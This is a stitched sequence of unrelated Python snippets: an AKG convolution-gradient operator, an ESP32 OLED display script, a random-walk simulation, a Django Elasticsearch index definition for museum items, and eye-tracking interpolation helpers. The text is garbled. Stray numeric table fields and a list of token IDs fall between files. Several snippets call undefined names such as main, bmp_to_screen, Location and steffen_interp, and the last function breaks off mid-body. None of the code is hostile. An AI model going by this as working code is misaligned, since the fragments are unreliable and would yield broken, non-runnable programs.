"""operator dsl function: conv_input_ad"""
import akg.tvm
import akg.topi
import akg
from akg.ops.nn import conv_backprop_input
from akg.ops.nn import conv as conv_forward
from akg.utils.format_transform import tvm_array_to_list
from akg.utils import validation_check as vc_util
def expr_to_int(in_expr):
"""Converte expr to int type value."""
result = [a.value for a in in_expr]
return result
@akg.tvm.register_func("akg.autodiff.conv_input_ad_tensor")
def conv_input_ad_tensor(data, fmap_shape, filter_shape, pad_, stride_, dilation_, attrs=None):
"""wraper of convolution filter backprop func."""
data_list = tvm_array_to_list(data)
fmap_shape = expr_to_int(fmap_shape)
filter_shape = expr_to_int(filter_shape)
pad_ = expr_to_int(pad_)
stride_ = expr_to_int(stride_)
dilation_ = expr_to_int(dilation_)
c, _ = conv_backprop_input.conv_backprop_input(data_list, fmap_shape, filter_shape,
pad_, stride_, dilation_, attrs=attrs)
return c
def conv_input_ad_config(data, fmap_shape, filter_shape, pad_, stride_, dilation_, attrs=None):
"""Configuration of convolution filter gradient."""
_, configs = conv_backprop_input.conv_backprop_input(data, fmap_shape, filter_shape,
pad_, stride_, dilation_, attrs=attrs)
return configs
@vc_util.check_input_type((list, tuple), (list, tuple), (list, tuple),
(list, tuple), (list, tuple), (list, tuple), (dict, type(None)))
def conv_input_ad(input_ad_inputs, fmap_shape, filter_shape, pad_, stride_, dilation_, attrs=None):
"""
Compute dx according to "conv forward".
Args:
input_ad_inputs (list[tvm.tensor.Tensor]): a list with length 2.
input_ad_inputs[0](consider as dy) Tensor of type float16 ,shape 5D(out_n, out_c//C0, out_h, out_w,C0)
input_ad_inputs[1](consider as w) Tensor of type float16 ,shape 4D(wC//C0*wH*wW, wN//C0, C0,C0)
fmap_shape (list): [fN, fC, fH, fW]
filter_shape (list): [wN, wC, wH, wW]
pad_ (list): [pad_left, pad_right, pad_top, pad_bottom]
stride_ (list): [stride_h, stride_w]
dilation_ (list): [dilation_h, dilation_w]
attrs (dict): a dict with keys like conv_tile, bypass and etc.
Returns:
tvm.tensor.Tensor, configs.
"""
backward_dy, forward_w = input_ad_inputs
in_n, in_c, in_h, in_w = fmap_shape
block_size = 16
in_c = (in_c + block_size - 1) // block_size * block_size
x_5d_shape = (in_n, in_c // block_size, in_h, in_w, block_size)
forward_x = akg.tvm.placeholder(x_5d_shape, forward_w.dtype, "input_X")
original_filter_shape = akg.tvm.placeholder(filter_shape, forward_w.dtype, "input_filter")
forward_output, _ = conv_forward.conv([forward_x, forward_w], fmap_shape, filter_shape,
pad_, stride_, dilation_, use_bias=False, attrs=attrs)
ad_attrs = {"ad_conv_enable": 1, "ad_conv_reuse_conv": 0}
jacs = list(akg.differentiate(forward_output, [forward_x], backward_dy, ad_attrs,
[backward_dy, forward_w, original_filter_shape]))
configs = conv_input_ad_config([backward_dy, forward_w], fmap_shape, filter_shape,
pad_, stride_, dilation_, attrs=attrs)
return jacs[0], configs
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] | 2.315248 | 1,751 |
# Hardware: ESP32, SSD1306 128x64 I2C screen
# I2C(1):
# scl: pin(25)
# sda: pin(26)
# Required modules:
# ssd1306: official SSD1306 driver
# microbmp
# Required files:
# img_LQ_48x48.bmp
from machine import I2C
from ssd1306 import SSD1306_I2C
from microbmp import MicroBMP
i2c = I2C(1)
ssd = SSD1306_I2C(128, 64, i2c)
img_LQ_48x48 = MicroBMP().load("img_LQ_48x48.bmp")
bmp_to_screen(img_LQ_48x48, ssd, 40, 8)
ssd.show()
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] | 1.973451 | 226 |
import os, subprocess, sys
if __name__ == "__main__":
ipa = sys.argv[1]
main(f"{ipa}") | [
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] | 2.086957 | 46 |
import asyncio
import logging
from copy import deepcopy
from any_board_game.validators import ValidationException
| [
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] | 4.034483 | 29 |
#!/usr/bin/env python
# -*-coding:utf-8-*-
import random
from math import sqrt
def bulk_walk(num_steps, num_bulk, dClass):
"""
:param num_steps: 随机行走了多少步
:param num_bulk: 一批次进行了多少次实验
:param dClass: 醉汉类型
:return: distances 一批次里面每次开图的总共行走距离列表
"""
drunk = dClass()
origin = Location(0, 0)
distances = []
for i in range(num_bulk):
f = Field()
f.add_drunk(drunk, origin)
distances.append(round(walk(f, drunk, num_steps), 1))
return distances
def drunk_test(num_steps_batch, num_bulk, dClass):
"""
:param num_steps_batch: 随机行走多少步填入批次
:param num_bulk: 一批次进行了多少次实验
:param dClass: 醉汉类型
:return:
"""
mean_distance_list = []
for num_steps in num_steps_batch:
distances = bulk_walk(num_steps, num_bulk, dClass)
print(f'{dClass.__name__} random walk of {num_steps} steps')
mean_distance = round(sum(distances) / len(distances), 4)
mean_distance_list.append(mean_distance)
print(f'Mean = {mean_distance}')
print(f'Max = {max(distances)} Min = {min(distances)}')
return mean_distance_list
if __name__ == '__main__':
num_steps_batch = list(range(100, 3000, 100))
data = drunk_test(num_steps_batch, 100, UsualDrunk)
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] | 1.863836 | 683 |
import operator
from django.conf import settings
from django.db.models import Q
from django_elasticsearch_dsl import DocType, Index, fields
from django_elasticsearch_dsl_drf.compat import KeywordField, StringField
import six
from muses.collection.models.item import Item
from ..constants import VALUE_NOT_SPECIFIED
from .analyzers import (
html_strip,
html_strip_synonyms_en,
html_strip_synonyms_nl,
)
__all__ = (
'CollectionItemDocument',
'INDEX',
)
INDEX = Index(settings.ELASTICSEARCH_INDEX_NAMES[__name__])
# See Elasticsearch Indices API reference for available settings
INDEX.settings(
number_of_shards=1,
number_of_replicas=1,
max_result_window=50000, # Increase if needed
)
@INDEX.doc_type
class CollectionItemDocument(DocType):
"""Collection item document."""
# ID
id = fields.IntegerField(attr='id')
record_number = KeywordField()
inventory_number = KeywordField()
api_url = KeywordField(
index="not_analyzed"
)
web_url = KeywordField(
index="not_analyzed"
)
# ********************************************************************
# *************** Main data fields for search and filtering **********
# ********************************************************************
importer_uid = KeywordField(
attr='importer_uid_indexing'
)
language_code_orig = KeywordField(
attr='language_code_orig'
)
department = StringField(
attr='department_indexing',
analyzer=html_strip,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='english'),
# 'suggest': fields.CompletionField(),
}
)
# ********************************************************************
# ***************************** English ******************************
# ********************************************************************
title_en = StringField(
attr='title_en_indexing',
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='english'),
# 'suggest': fields.CompletionField(),
}
)
description_en = StringField(
attr='description_en_indexing',
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='english'),
# 'suggest': fields.CompletionField(),
}
)
period_en = StringField(
attr='period_en_indexing',
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='english'),
# 'suggest': fields.CompletionField(),
}
)
period_1_en = fields.NestedField(
attr='period_1_en_indexing',
properties={
'name': StringField(
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
}
),
'period_2_en': fields.NestedField(
properties={
'name': StringField(
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
}
),
'period_3_en': fields.NestedField(
properties={
'name': StringField(
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
}
),
'period_4_en': fields.NestedField(
properties={
'name': StringField(
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
}
)
}
)
}
)
}
)
}
)
primary_object_type_en = StringField(
attr='primary_object_type_en_indexing',
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='english'),
'suggest': fields.CompletionField(),
}
)
object_type_en = StringField(
attr='object_type_en_indexing',
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='english'),
'suggest': fields.CompletionField(),
}
)
# To be shown on the detail page
object_type_detail_en = fields.TextField(
attr='object_type_detail_en_indexing',
index='no'
)
material_en = StringField(
attr='material_en_indexing',
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='english'),
# 'suggest': fields.CompletionField(),
}
)
# To be shown on the detail page
material_detail_en = fields.TextField(
attr='material_detail_en_indexing',
index='no'
)
city_en = StringField(
attr='city_en_indexing',
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='english'),
# 'suggest': fields.CompletionField(),
}
)
country_en = StringField(
attr='country_en_indexing',
analyzer=html_strip_synonyms_en,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='english'),
# 'suggest': fields.CompletionField(),
}
)
# To be shown on the detail page
references_en = fields.TextField(
attr='references_en_indexing',
index='no'
)
# To be shown on the detail page
acquired_en = fields.TextField(
attr='acquired_en_indexing',
index='no'
)
# To be shown on the detail page
site_found_en = fields.TextField(
attr='site_found_en_indexing',
index='no'
)
# To be shown on the detail page
reign_en = fields.TextField(
attr='reign_en_indexing',
index='no'
)
# To be shown on the detail page
keywords_en = fields.TextField(
attr='keywords_en_indexing',
index='no'
)
# To be shown on the detail page
dynasty_en = fields.TextField(
attr='dynasty_en_indexing',
index='no'
)
# New fields
# To be shown on the detail page
credit_line_en = fields.TextField(
attr='credit_line_en_indexing',
index='no'
)
# To be shown on the detail page
region_en = fields.TextField(
attr='region_en_indexing',
index='no'
)
# To be shown on the detail page
sub_region_en = fields.TextField(
attr='sub_region_en_indexing',
index='no'
)
# To be shown on the detail page
locale_en = fields.TextField(
attr='locale_en_indexing',
index='no'
)
# To be shown on the detail page
excavation_en = fields.TextField(
attr='excavation_en_indexing',
index='no'
)
# To be shown on the detail page
museum_collection_en = fields.TextField(
attr='museum_collection_en_indexing',
index='no'
)
# To be shown on the detail page
style_en = fields.TextField(
attr='style_en_indexing',
index='no'
)
# To be shown on the detail page
culture_en = fields.TextField(
attr='culture_en_indexing',
index='no'
)
# To be shown on the detail page
inscriptions_en = fields.TextField(
attr='inscriptions_en_indexing',
index='no'
)
# To be shown on the detail page
provenance_en = fields.TextField(
attr='provenance_en_indexing',
index='no'
)
# To be shown on the detail page
exhibitions_en = fields.TextField(
attr='exhibitions_en_indexing',
index='no'
)
# ********************************************************************
# ****************************** Dutch *******************************
# ********************************************************************
title_nl = StringField(
attr='title_nl_indexing',
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='dutch'),
# 'suggest': fields.CompletionField(),
}
)
description_nl = StringField(
attr='description_nl_indexing',
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='dutch'),
# 'suggest': fields.CompletionField(),
}
)
period_nl = StringField(
attr='period_nl_indexing',
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='dutch'),
# 'suggest': fields.CompletionField(),
}
)
period_1_nl = fields.NestedField(
attr='period_1_nl_indexing',
properties={
'name': StringField(
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
}
),
'period_2_nl': fields.NestedField(
properties={
'name': StringField(
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
}
),
'period_3_nl': fields.NestedField(
properties={
'name': StringField(
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
}
),
'period_4_nl': fields.NestedField(
properties={
'name': StringField(
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
}
)
}
)
}
)
}
)
}
)
primary_object_type_nl = StringField(
attr='primary_object_type_nl_indexing',
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='dutch'),
'suggest': fields.CompletionField(),
}
)
object_type_nl = StringField(
attr='object_type_nl_indexing',
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='dutch'),
'suggest': fields.CompletionField(),
}
)
# To be shown on the detail page
object_type_detail_nl = fields.TextField(
attr='object_type_detail_nl_indexing',
index='no'
)
material_nl = StringField(
attr='material_nl_indexing',
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='dutch'),
# 'suggest': fields.CompletionField(),
}
)
# To be shown on the detail page
material_detail_nl = fields.TextField(
attr='material_detail_nl_indexing',
index='no'
)
city_nl = StringField(
attr='city_nl_indexing',
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='dutch'),
# 'suggest': fields.CompletionField(),
}
)
country_nl = StringField(
attr='country_nl_indexing',
analyzer=html_strip_synonyms_nl,
fields={
'raw': KeywordField(),
'natural': StringField(analyzer='dutch'),
# 'suggest': fields.CompletionField(),
}
)
# To be shown on the detail page
keywords_nl = fields.TextField(
attr='keywords_nl_indexing',
index='no'
)
# To be shown on the detail page
acquired_nl = fields.TextField(
attr='acquired_nl_indexing',
index='no'
)
# To be shown on the detail page
site_found_nl = fields.TextField(
attr='site_found_nl_indexing',
index='no'
)
# To be shown on the detail page
reign_nl = fields.TextField(
attr='reign_nl_indexing',
index='no'
)
# To be shown on the detail page
references_nl = fields.TextField(
attr='references_nl_indexing',
index='no'
)
# To be shown on the detail page
dynasty_nl = fields.TextField(
attr='dynasty_nl_indexing',
index='no'
)
# New fields
# To be shown on the detail page
credit_line_nl = fields.TextField(
attr='credit_line_nl_indexing',
index='no'
)
# To be shown on the detail page
region_nl = fields.TextField(
attr='region_nl_indexing',
index='no'
)
# To be shown on the detail page
sub_region_nl = fields.TextField(
attr='sub_region_nl_indexing',
index='no'
)
# To be shown on the detail page
locale_nl = fields.TextField(
attr='locale_nl_indexing',
index='no'
)
# To be shown on the detail page
excavation_nl = fields.TextField(
attr='excavation_nl_indexing',
index='no'
)
# To be shown on the detail page
museum_collection_nl = fields.TextField(
attr='museum_collection_nl_indexing',
index='no'
)
# To be shown on the detail page
style_nl = fields.TextField(
attr='style_nl_indexing',
index='no'
)
# To be shown on the detail page
culture_nl = fields.TextField(
attr='culture_nl_indexing',
index='no'
)
# To be shown on the detail page
inscriptions_nl = fields.TextField(
attr='inscriptions_nl_indexing',
index='no'
)
# To be shown on the detail page
provenance_nl = fields.TextField(
attr='provenance_nl_indexing',
index='no'
)
# To be shown on the detail page
exhibitions_nl = fields.TextField(
attr='exhibitions_nl_indexing',
index='no'
)
# ********************************************************************
# ************************** Language independent ********************
# ********************************************************************
dimensions = StringField(
attr='dimensions_indexing',
analyzer=html_strip,
fields={
'raw': KeywordField(),
'natural': StringField(),
# 'suggest': fields.CompletionField(),
}
)
object_date_begin = StringField(
attr='object_date_begin_indexing',
analyzer=html_strip,
fields={
'raw': KeywordField(),
'natural': StringField(),
# 'suggest': fields.CompletionField(),
}
)
object_date_end = StringField(
attr='object_date_end_indexing',
analyzer=html_strip,
fields={
'raw': KeywordField(),
'natural': StringField(),
# 'suggest': fields.CompletionField(),
}
)
location = fields.GeoPointField(attr='geo_location_indexing')
# List of 32x32 PNG versions of the images. Full path to.
images = fields.ListField(
StringField(attr='images_indexing')
)
# List of image URLs.
images_urls = fields.ListField(
fields.ObjectField(
attr='images_urls_indexing',
properties={
'th': KeywordField(index="not_analyzed"),
'lr': KeywordField(index="not_analyzed"),
}
)
)
# Classified as by our AI
classified_as = fields.ListField(
StringField(
attr='classified_as_indexing',
fields={
'raw': KeywordField(),
}
)
)
# Classified as 1st element
classified_as_1 = StringField(
attr='classified_as_1_indexing',
fields={
'raw': KeywordField(),
}
)
# Classified as 2nd element
classified_as_2 = StringField(
attr='classified_as_2_indexing',
fields={
'raw': KeywordField(),
}
)
# Classified as 3rd element
classified_as_3 = StringField(
attr='classified_as_3_indexing',
fields={
'raw': KeywordField(),
}
)
# ********************************************************************
# ************** Nested fields for search and filtering **************
# ********************************************************************
# # City object
# country = fields.NestedField(
# properties={
# 'name': StringField(
# analyzer=html_strip,
# fields={
# 'raw': KeywordField(),
# 'suggest': fields.CompletionField(),
# }
# ),
# 'info': StringField(analyzer=html_strip),
# 'location': fields.GeoPointField(attr='location_field_indexing'),
# }
# )
#
# location = fields.GeoPointField(attr='location_field_indexing')
class Meta(object):
"""Meta options."""
model = Item # The model associate with this DocType
def get_queryset(self):
"""Filter out items that are not eligible for indexing."""
qs = super(CollectionItemDocument, self).get_queryset()
# qs = qs.select_related('period_node').prefetch_related('images')
filters = []
for field in ['title']:
for language in ['en', 'nl']:
filters.extend(
[
Q(**{"{}_{}__isnull".format(field, language): True}),
Q(**{"{}_{}__exact".format(field, language): ''}),
]
)
if filters:
qs = qs.exclude(
six.moves.reduce(operator.or_, filters)
)
# We concatenate ``object_type`` and ``classification`` fields, after
# cleaning them. Therefore, db-only checks don't work here.
ids = []
for item in qs:
if not (
item.object_type_en_indexing and item.object_type_nl_indexing
):
ids.append(item.pk)
return qs.exclude(id__in=ids)
def prepare_department(self, instance):
"""Prepare department."""
return instance.department_indexing \
if instance.department_indexing\
else VALUE_NOT_SPECIFIED
def prepare_object_date_begin(self, instance):
"""Prepare material."""
return instance.object_date_begin_indexing
def prepare_object_date_end(self, instance):
"""Prepare material."""
return instance.object_date_end_indexing
# ********************************************************************
# ***************************** English ******************************
# ********************************************************************
def prepare_material_en(self, instance):
"""Prepare material."""
return instance.material_en_indexing \
if instance.material_en_indexing\
else VALUE_NOT_SPECIFIED
def prepare_period_en(self, instance):
"""Prepare state."""
return instance.period_en_indexing \
if instance.period_en_indexing \
else VALUE_NOT_SPECIFIED
def prepare_dynasty_en(self, instance):
"""Prepare dynasty."""
return instance.dynasty_en_indexing \
if instance.dynasty_en_indexing \
else VALUE_NOT_SPECIFIED
def prepare_description_en(self, instance):
"""Prepare description."""
return instance.description_en_indexing \
if instance.description_en_indexing\
else VALUE_NOT_SPECIFIED
def prepare_city_en(self, instance):
"""Prepare city."""
return instance.city_en_indexing \
if instance.city_en_indexing\
else VALUE_NOT_SPECIFIED
def prepare_country_en(self, instance):
"""Prepare country."""
return instance.country_en_indexing \
if instance.country_en_indexing \
else VALUE_NOT_SPECIFIED
# ********************************************************************
# ****************************** Dutch *******************************
# ********************************************************************
def prepare_material_nl(self, instance):
"""Prepare material."""
return instance.material_nl_indexing \
if instance.material_nl_indexing\
else VALUE_NOT_SPECIFIED
def prepare_period_nl(self, instance):
"""Prepare state."""
return instance.period_nl_indexing \
if instance.period_nl_indexing \
else VALUE_NOT_SPECIFIED
def prepare_dynasty_nl(self, instance):
"""Prepare dynasty."""
return instance.dynasty_nl_indexing \
if instance.dynasty_nl_indexing \
else VALUE_NOT_SPECIFIED
def prepare_description_nl(self, instance):
"""Prepare description."""
return instance.description_nl_indexing \
if instance.description_nl_indexing\
else VALUE_NOT_SPECIFIED
def prepare_city_nl(self, instance):
"""Prepare city."""
return instance.city_nl_indexing \
if instance.city_nl_indexing\
else VALUE_NOT_SPECIFIED
def prepare_country_nl(self, instance):
"""Prepare country."""
return instance.country_nl_indexing \
if instance.country_nl_indexing \
else VALUE_NOT_SPECIFIED
| [
11748,
10088,
198,
198,
6738,
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# -*- coding: utf-8 -*-
"""
Created on Thu Sep 19 10:54:00 2019
@author: Jonathan van Leeuwen, Diederick Niehorster
"""
import numpy as np
import math
import scipy
import scipy.interpolate as interp
import scipy.signal
from scipy.cluster.vq import vq, _vq
from scipy.spatial.distance import cdist
import copy
import warnings
# =============================================================================
# Helper functions
# =============================================================================
def angle_to_pixels(angle, screenDist, screenW, screenXY):
"""
Calculate the number of pixels which equals a specified angle in visual
degrees, given parameters. Calculates the pixels based on the width of
the screen. If the pixels are not square, a separate conversion needs
to be done with the height of the screen.\n
"angleToPixelsWH" returns pixels for width and height.
Parameters
----------
angle : float or int
The angle to convert in visual degrees
screenDist : float or int
Viewing distance in cm
screenW : float or int
The width of the screen in cm
screenXY : tuple, ints
The resolution of the screen (width - x, height - y), pixels
Returns
-------
pix : float
The number of pixels which corresponds to the visual degree in angle,
horizontally
Examples
--------
>>> pix = angleToPixels(1, 75, 47.5, (1920,1080))
>>> pix
52.912377341863817
"""
pixSize = screenW / float(screenXY[0])
angle = np.radians(angle / 2.0)
cmOnScreen = np.tan(angle) * float(screenDist)
pix = (cmOnScreen / pixSize) * 2
return pix
def get_missing(L_X, R_X, missing_x, L_Y, R_Y, missing_y):
"""
Gets missing data and returns missing data for left, right and average
Parameters
----------
L_X : np.array
Left eye X gaze position data
R_X : np.array
Right eye X gaze position data
missing_x : scalar
The value reflecting mising values for X coordinates in the dataset
L_Y : np.array
Left eye Y gaze position data
R_Y : np.array
Right eye Y gaze position data
missing_y : scalar
The value reflecting mising values for Y coordinates in the dataset
Returns
-------
qLMiss : np.array - Boolean
Boolean indicating missing samples for the left eye
qRMiss : np.array - Boolean
Boolean indicating missing samples for the right eye
qBMiss : np.array - Boolean
Boolean indicating missing samples for both eyes
"""
# Get where the missing is
# Left eye
qLMissX = np.logical_or(L_X == missing_x, np.isnan(L_X))
qLMissY = np.logical_or(L_Y == missing_y, np.isnan(L_Y))
qLMiss = np.logical_and(qLMissX, qLMissY)
# Right
qRMissX = np.logical_or(R_X == missing_x, np.isnan(R_X))
qRMissY = np.logical_or(R_Y == missing_y, np.isnan(R_Y))
qRMiss = np.logical_and(qRMissX, qRMissY)
# Both eyes
qBMiss = np.logical_and(qLMiss, qRMiss)
return qLMiss, qRMiss, qBMiss
def average_eyes(L_X, R_X, missing_x, L_Y, R_Y, missing_y):
"""
Averages data from two eyes. Take one eye if only one was found.
Parameters
----------
L_X : np.array
Left eye X gaze position data
R_X : np.array
Right eye X gaze position data
missing_x : scalar
The value reflecting mising values for X coordinates in the dataset
L_Y : np.array
Left eye Y gaze position data
R_Y : np.array
Right eye Y gaze position data
missing_y : scalar
The value reflecting mising values for Y coordinates in the dataset
Returns
-------
xpos : np.array
The average Y gaze position
ypos : np.array
The average X gaze position
qBMiss : np.array - Boolean
Boolean indicating missing samples for both eyes
qLMiss : np.array - Boolean
Boolean indicating missing samples for the left eye
qRMiss : np.array - Boolean
Boolean indicating missing samples for the right eye
"""
xpos = np.zeros(len(L_X))
ypos = np.zeros(len(L_Y))
# get missing
qLMiss, qRMiss, qBMiss = get_missing(L_X, R_X, missing_x, L_Y, R_Y, missing_y)
q = np.logical_and(np.invert(qLMiss), np.invert(qRMiss))
xpos[q] = (L_X[q] + R_X[q]) / 2.
ypos[q] = (L_Y[q] + R_Y[q]) / 2.
q = np.logical_and(qLMiss, np.invert(qRMiss))
xpos[q] = R_X[q]
ypos[q] = R_Y[q]
q = np.logical_and(np.invert(qLMiss), qRMiss)
xpos[q] = L_X[q]
ypos[q] = L_Y[q]
xpos[qBMiss] = np.NAN
ypos[qBMiss] = np.NAN
return xpos, ypos, qBMiss, qLMiss, qRMiss
def bool2bounds(b):
"""
Finds all contiguous sections of true in a boolean
Parameters
----------
data : np.array - Boolean (or convertible to boolean)
A 1D array containing stretches of True and False
Returns
-------
on : np.array
The array contains the indices where each stretch of True starts
off : np.array
The array contains the indices where each stretch of True ends
Example
--------
>>> import numpy as np
>>> b = np.array([1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0])
>>> on, off = bool2bounds(b)
>>> print(on)
[0 4 8]
>>> print(off)
[0 6 9]
"""
b = np.array(np.array(b, dtype = np.bool), dtype=int)
b = np.pad(b, (1, 1), 'constant', constant_values=(0, 0))
D = np.diff(b)
on = np.array(np.where(D == 1)[0], dtype=int)
off = np.array(np.where(D == -1)[0] -1, dtype=int)
return on, off
# =============================================================================
# Interpolation functions
# =============================================================================
def find_interp_wins(xpos, ypos, missing, window_time, edge_samples, freq, max_disp):
"""
Description
Parameters
----------
xpos : np.array
X gaze position
ypos : type
Y gaze position
missing : type
Description
window_time : float
Duration of window to interpolate over (ms)
edge_samples : int
Number of samples at window edge used for interpolating
freq : float
Measurement frequency
max_disp : float
maximum dispersion in position signal (i.e. if signal is in pixels, provide maxdisp in pixels)
Returns
-------
miss_start : np.array
Array containing indices where each interval to be interpolated starts
miss_end : np.array
Array containing indices where each interval to be interpolated ends
"""
# get indices of where missing intervals start and end
miss_start, miss_end = bool2bounds(missing)
data_start, data_end = bool2bounds(np.invert(missing))
# Determine windowsamples
window_samples = round(window_time/(1./freq))
# for each candidate, check if have enough valid data at edges to execute
# interpolation. If not, see if merging with adjacent missing is possible
# we don't throw out anything we can't deal with yet, we do that below.
# this is just some preprocessing
k=0 #was K=1 in matlab
while k<len(miss_start)-1:
# skip if too long
if miss_end[k]-miss_start[k]+1 > window_samples:
k = k+1
continue
# skip if not enough data at left edge
if np.sum(data_end == miss_start[k]-1) > 0:
datk = int(np.argwhere(data_end==miss_start[k]-1))
if data_end[datk]-data_start[datk]+1 < edge_samples:
k = k+1
continue
# if not enough data at right edge, merge with next. Having not enough
# on right edge of this one, means not having enough at left edge of
# next. So both will be excluded always if we don't do anything. So we
# can just merge without further checks. Its ok if it then grows too
# long, as we'll just end up excluding that too below, which is what
# would have happened if we didn't do anything here
datk = np.argwhere(data_start==miss_end[k]+1)
if len(datk) > 0:
datk = int(datk)
if data_end[datk]-data_start[datk]+1 < edge_samples:
miss_end = np.delete(miss_end , k)
miss_start = np.delete(miss_start, k+1)
# don't advance k so we check this one again and grow it further if
# needed
continue
# nothing left to do, continue to next
k = k+1
# mark intervals that are too long to be deleted (only delete later so that
# below checks can use all missing on and offsets)
miss_dur = miss_end - miss_start + 1
qRemove = miss_dur>window_samples
# for each candidate, check if have enough valid data at edges to execute
# interpolation and check displacement during missing wasn't too large.
# Mark for later removal as multiple missing close together may otherwise
# be wrongly allowed
for p in range(len(miss_start)):
# check enough valid data at edges
# missing too close to beginning of data
# previous missing too close
# missing too close to end of data
# next missing too close
if miss_start[p]<edge_samples+1 or \
(p>0 and miss_end[p-1] > miss_start[p]-edge_samples-1) or \
miss_end[p]>len(xpos)-1-edge_samples or \
(p<len(miss_start)-1 and miss_start[p+1] < miss_end[p]+edge_samples+1):
qRemove[p] = True
continue
# check displacement, per missing interval
# we want to check per bit of missing, even if multiple bits got merged
# this as single data points can still anchor where the interpolation
# goes and we thus need to check distance per bit, not over the whole
# merged bit
idx = np.arange(miss_start[p],miss_end[p]+1, dtype = int)
on,off = bool2bounds(np.isnan(xpos[idx]))
for q in range(len(on)):
lesamps = np.array(on[q] -np.arange(edge_samples)+miss_start[p]-1, dtype=int)
resamps = np.array(off[q]+np.arange(edge_samples)+miss_start[p]+1, dtype=int)
displacement = np.hypot(np.nanmedian(xpos[resamps])-np.nanmedian(xpos[lesamps]),
np.nanmedian(ypos[resamps])-np.nanmedian(ypos[lesamps]))
if displacement > max_disp:
qRemove[p] = True
break
if qRemove[p]:
continue
# Remove the missing clusters which cannot be interpolated
qRemove = np.where(qRemove)[0]
miss_start = np.delete(miss_start, qRemove)
miss_end = np.delete(miss_end , qRemove)
return miss_start, miss_end
def windowed_interpolate(xpos, ypos, missing, miss_start, miss_end, edge_samples):
"""
Interpolates the missing data, and removes areas which are not allowed
to be interpolated
Parameters
----------
xpos : np.array
X gaze positions
ypos : type
Y gaze positions
missing : np.array
Boolean vector indicating missing samples
miss_start : np.array
Array containing indices where each interval to be interpolated starts
miss_end : np.array
Array containing indices where each interval to be interpolated ends
edge_samples : int
Number of samples at window edge used for interpolating
Returns
-------
xi : np.array
Interpolated X gaze position
yi : np.array
Interpolated Y gaze position
new_missing : np.array
Updated boolean vector indicating missing samples after interpolation
"""
new_missing = copy.deepcopy(missing)
# Do the interpolating
for p in range(len(miss_start)):
# make vector of all samples in this window
out_win = np.arange(miss_start[p],miss_end[p]+1)
# get edge samples: where no missing data was observed
# also get samples in window where data was observed
out_win_not_missing = np.invert(new_missing[out_win])
valid_samps = np.concatenate((out_win[0]+np.arange(-edge_samples,0),
out_win[out_win_not_missing],
out_win[-1]+np.arange(1,edge_samples+1)))
# get valid values: where no missing data was observed
valid_x = xpos[valid_samps]
valid_y = ypos[valid_samps]
# do Steffen interpolation, update xpos, ypos
xpos[out_win]= steffen_interp(valid_samps,valid_x,out_win)
ypos[out_win]= steffen_interp(valid_samps,valid_y,out_win)
# update missing: hole is now plugged
new_missing[out_win] = False
return xpos, ypos, new_missing
# =============================================================================
# interpolator
# =============================================================================
# =============================================================================
# Clustering functions
# =============================================================================
def two_cluster_weighting(xpos, ypos, missing, downsamples, downsamp_filter, cheby_order, window_time, step_time, freq, max_errors, logging, logging_offset):
"""
Description
Parameters
----------
xpos : type
Description
ypos : type
Description
missing : type
Description
downsamples : type
Description
downsamp_filter : type
Description
cheby_order : type
Description
window_time : type
Description
step_time : type
Description
freq : type
Description
max_errors : type
Description
Returns
-------
finalweights : np.array
Vector of 2-means clustering weights (one weight for each sample), the higher, the more likely a saccade happened
stopped : Boolean
Indicates if stopped because of too many errors encountered (True), or completed successfully (False)
"""
# calculate number of samples of the moving window
num_samples = int(window_time/(1./freq))
step_size = np.max([1,int(step_time/(1./freq))])
# create empty weights vector
total_weights = np.zeros(len(xpos))
total_weights[missing] = np.nan
num_tests = np.zeros(len(xpos))
# stopped is always zero, unless maxiterations is exceeded. this
# indicates that file could not be analysed after trying for x iterations
stopped = False
num_errors = 0
# Number of downsamples
nd = len(downsamples)
# Downsample
if downsamp_filter:
# filter signal. Follow the lead of decimate(), which first runs a
# Chebychev filter as specified below
rp = .05 # passband ripple in dB
b = [[] for i in range(nd)]
a = [[] for i in range(nd)]
for p in range(nd):
b[p],a[p] = scipy.signal.cheby1(cheby_order, rp, .8/downsamples[p])
# idx for downsamples
idxs = []
for i in range(nd):
idxs.append(np.arange(num_samples,0,-downsamples[i],dtype=int)[::-1] - 1)
# see where are missing in this data, for better running over the data
# below.
on,off = bool2bounds(missing)
if on.size > 0:
# merge intervals smaller than nrsamples long
merge = np.argwhere((on[1:] - off[:-1])-1 < num_samples).flatten()
for p in merge[::-1]:
off[p] = off[p+1]
off = np.delete(off, p+1)
on = np.delete(on, p+1)
# check if intervals at data start and end are large enough
if on[0]<num_samples+1:
# not enough data point before first missing, so exclude them all
on[0]=0
if off[-1]>(len(xpos)-1-num_samples):
# not enough data points after last missing, so exclude them all
off[-1]=len(xpos)-1
